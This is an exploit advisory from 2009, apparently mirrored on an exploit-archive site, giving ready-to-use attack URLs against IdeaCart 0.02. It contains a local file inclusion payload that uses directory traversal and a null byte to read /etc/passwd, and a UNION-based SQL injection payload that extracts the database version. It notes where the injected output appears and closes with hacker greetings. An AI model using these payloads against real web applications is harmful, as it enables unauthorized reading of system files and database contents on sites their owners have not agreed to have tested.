IdeaCart 0.02 (LFI/SQL) Multiple Remote Vulnerabilities

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : IdeaCart 0.02 (LFI/SQL) Multiple Remote Vulnerabilities
# Published : 2009-02-13
# Author : nuclear
# Previous Title : Grestul 1.x Auth Bypass by Cookie SQL Injection Vulnerability
# Next Title : Vlinks 1.1.6 (id) Remote SQL Injection Vulnerability

#IdeaCart 0.02 (LFI/SQL) Multiple Remote Vulnerabilities


#Author: nuclear


#LFI:
http://127.0.0.1/index.php?page=../../../../../../../../../etc/passwd%00


#SQL:
http://127.0.0.1/secure/index.php?cID=1%20union%20select%201,2,3,4,5,6,@@version,8%23


#notes:
get ur sql result at: YOUR ORDER DETAILS 5.0.67 @ bla bla bla


#greetz Mi4night, cAs, zYzTeM, Digitalfortress, THE_MAN, Pepe, I-O-W-A,
 DiGitalX, sys32-hack, sys32r, Whitestar


#special greets to: Digitalfortress
thnx for keeping me up mate


#to str0ke:
thnx for putting all the vulns up brotha !


#comment:
I'm finally done with this shit..number 13 and there will be no more
I'm outta here.. bye ya'll 

# www.Syue.com [2009-02-13]